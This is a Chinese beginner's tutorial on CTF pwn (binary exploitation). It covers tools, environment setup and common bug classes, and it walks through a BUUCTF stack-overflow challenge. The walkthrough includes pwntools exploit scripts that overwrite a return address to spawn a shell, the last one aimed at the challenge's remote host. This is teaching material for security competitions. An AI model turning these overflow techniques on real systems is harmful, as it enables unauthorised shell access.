[CTF PWN] 从0到0.00001 PWN入门超级详细
Pwn从0到0.00001
Pwn的简介Pwn的理论工具准备初学工具储备知识
入门工具储备知识
Pwn的学习初学-从Writeup中学习入门-从比赛中学习
Pwn的环境准备Windows在Vscode中配置Pwn中环境在Vscode中Pwn
Pwntools的学习简易快速入门
Pwn的做题流程Pwn的简单例子checksec分析函数及漏洞main函数fun函数
编写exp编写Writeup
Pwn的常见漏洞栈溢出数组下标溢出格式化字符串堆利用
小结
Pwn的简介
Pwn是CTF方向中的一种,主要是利用二进制漏洞从而获得getShell(提权),即获得对方系统权限,从而控制对方电脑。 Pwn是一个黑客语法的俚语词,自"own"这个字引申出来的,这个词的含意在于,玩家在整个游戏对战中处在胜利的优势,或是说明竞争对手处在完全惨败的 情形下,这个词习惯上在网络游戏文化主要用于嘲笑竞争对手在整个游戏对战中已经完全被击败(例如:“You just got pwned!”)。
名词储备:writeup(指CTF中解题思路过程的文档),exp(exploit,指漏洞利用程序),栈,汇编,Linux等
Pwn的理论工具准备
初学
工具
Python 2.x 至于为什么不用python3后面会讲到Linux Windows用户推荐wsl2或虚拟机,MacOS不太清楚IDA pro 一个逆向分析工具Pwntools 一个漏洞利用框架工具checksec ELF保护分析工具
储备知识
C语言基础Python2语言,及库的用法源/伪代码阅读和BUG漏洞寻找能力基础Linux命令
以上可以进行简单的栈溢出的学习
入门
工具
pwndbg gdb动态调试插件Libcsearcher 集成libc查找工具one_gadget 一句话提权指令搜索工具ROPgadget rop指令流搜索
储备知识
C/C++语言基础Python2语言,及库的用法ELF文件结构深度理解计算机系统(CSAPP)初步
加上以上的可以更方便的学习进阶栈溢出、堆利用等知识
Pwn的学习
初学-从Writeup中学习
网站推荐
Xctf攻防世界 站内内置writeup,但最近pwn环境无法分发Bugku pwn环境可以分发,但需要自行查找writeup,题量少buuctf pwn环境可以分发,有N1BOOK配套习题(但好像环境坏了?),比赛真题,题量大,但需要自行查找writeup
入门-从比赛中学习
参加比赛,利用比赛同时练习技术,这样可以更好的抓住比赛的中pwn的热点,也可以培养随机应变的能力。
Pwn的环境准备
由于没有尝试过MacOS上pwn 所以只有Windows的教程
Windows
安装WSL2(子系统) https://docs.microsoft.com/zh-cn/windows/wsl/install-win10在WSL中安装Python2 https://www.cnblogs.com/dancesir/p/14201267.html在WSL中安装pwntools等库https://docs.pwntools.com/en/latest/install.html在WSL中安装checksec https://www.cnblogs.com/luocodes/p/13894106.html选择一个你喜欢的IDE,强推VSCode
在Vscode中配置Pwn中环境
安装Remote - WSL插件 即可可切换成Ubuntu终端
在Vscode中Pwn
1.右键-在Vscode中打开文件夹
2.左下角点击><旋转Reopen Folder in WSL (这个尝试过编写exp时没有代码提示,可以在windows上先装python2和pwntools,在windows上编写exp,然后再Linux上运行,即跳过此步骤)
3.新建一个exp.py 4.开始书写你的脚本
Pwntools的学习
官方文档https://docs.pwntools.com/en/latest/intro.html
简易快速入门
导入Pwntools from pwn import * 链接 r = remote("目标地址str类型", 目标端口int类型)与服务器交互 r = process("目标程序位置")与本地程序交互 构造playload之打包 p64(int)将int类型打包成64位存储 p32(int)将int类型打包成32位存储 发送 r.sendline(playload)发送playload为一行(自动在尾部加上\n) 接收 r.recv()接收到结束 r.recvuntil(end, drop=True)end(str)接受到end之后截至,drop=True时不包括end,drop=False时包括end 打开交互 r.interactive()一般在末尾都要加
Pwn的做题流程
使用checksec检查ELF文件保护开启的状态IDApro逆向分析程序漏洞(逻辑复杂的可以使用动态调试)编写python的exp脚本进行攻击(若攻击不成功)进行GDB动态调试,查找原因(若攻击成功)获取flag,编写Writeup 注:此做题流程并不完全概括,需要具体情况具体分析
Pwn的简单例子
题目来源【BUUCTF PWN】rip
checksec
64位,导入IDA 64,找到main函数,按F5或是Tab
分析函数及漏洞
main函数
main函数中存在gets(无限读入字符串漏洞),没有开canary可以自由栈溢出 双击s变量,进入main函数栈区 发现s参数位置距离main函数返回地址距离是0xF+0x8个字节 (位于000000000处的s是存上一个ebp的值,用于恢复上一个函数,位于0000000008处的r是这个函数的返回地址) 只需要覆盖返回地址r,使它变成我们想要的函数地址,就可以劫持程序,让程序执行完main就执行我们想要的函数(这个题目就是fun函数)。
fun函数
system函数可以执行命令,/bin/sh是执行Linux的命令行程序,也就是可以getshell(提权) 按Tab+Space 查看fun函数的开始地址(图中0x0401186位置)
编写exp
from pwn import *
r = process('./pwn1') # 调试时使用本地链接
p1 = "a"*(0xf + 0x8) + p64(0x0401186)
# 覆盖到r前面之后,将0x0401186打包,覆盖main函数返回地址
r.sendline(p1) # 发送playload
r.interactive() # 开启交互
运行 并没有打通 需要平衡栈帧(初学可以跳过这个,直接记住结论) 即需要多return一次 x86汇编中 ret的指令类似于 先pop(弹出)一个值然后jmp(跳转)到这个值的位置继续执行 所以寻找一个ret的地址 在main函数的结尾就有个retn 故修改exp
from pwn import *
r = process('./pwn1') # 调试时使用本地链接
p1 = "a"*(0xf + 0x8) + p64(0x0401185) + p64(0x0401186)
# 覆盖到r前面之后,先覆盖main函数返回地址为retn,再将0x0401186打包,覆盖retn的返回地址
r.sendline(p1) # 发送playload
r.interactive() # 开启交互
发现ls(linux中查看当前文件夹内容的命令)命令可以执行 再修改exp链接靶机
from pwn import *
r = remote("node3.buuoj.cn", 29885) # 正式攻击时与靶机交互
# r = process('./pwn1')
p1 = "a"*(0xf + 0x8) + p64(0x0401185) + p64(0x0401186)
r.sendline(p1)
r.interactive()
再次运行 获取flag cat(linux中直接输出文件内容的命令) 到此就可以庆祝一下提交flag了
编写Writeup
提交完flag之后别忘了编写Writeup,Writeup是指记录解题思路的文档,一个小队开一个公共编辑的文档,一旦做出来题目就要将解题思路、exp、部分截图写入文档,因为一般赛事最后需要提交Writeup,以确保你不是py得到的flag
Pwn的常见漏洞
栈溢出
gets();无限字符读入\n停止scanf("%s");无限字符读入\n停止read(0,buf,0x200);buf位置到返回地址距离小于0x200
数组下标溢出
没有判断上界或下界,配合读入或输出,可以任意位置读入或输出
格式化字符串
主要利用printf的格式化字符串漏洞,实现栈区内读写
堆利用
UAF(Use After Free)劫持__malloc_hook修改__IO_1_2_stdout
小结
学习Pwn不仅有利于网安方向的同学,还有利于搞开发等同学,因为可以接触更加底层的东西,提高自己网络安全意识刚开始学习Pwn是摸着黑,照猫画虎的,只有不断的理解原理才能独立想出解题方法为什么不使用Python3?因为这是个坑,我刚开始尝试的是后就因为python3多了个bytes类型,导致p64()的结果不能直接与str相加,而其中有很多不可见字符,最终放弃了Python3。Python2中bytes值以str形式存储的可以直接与str相加。Pwn的世界错综复杂,我依然还在摸索,一起加油。
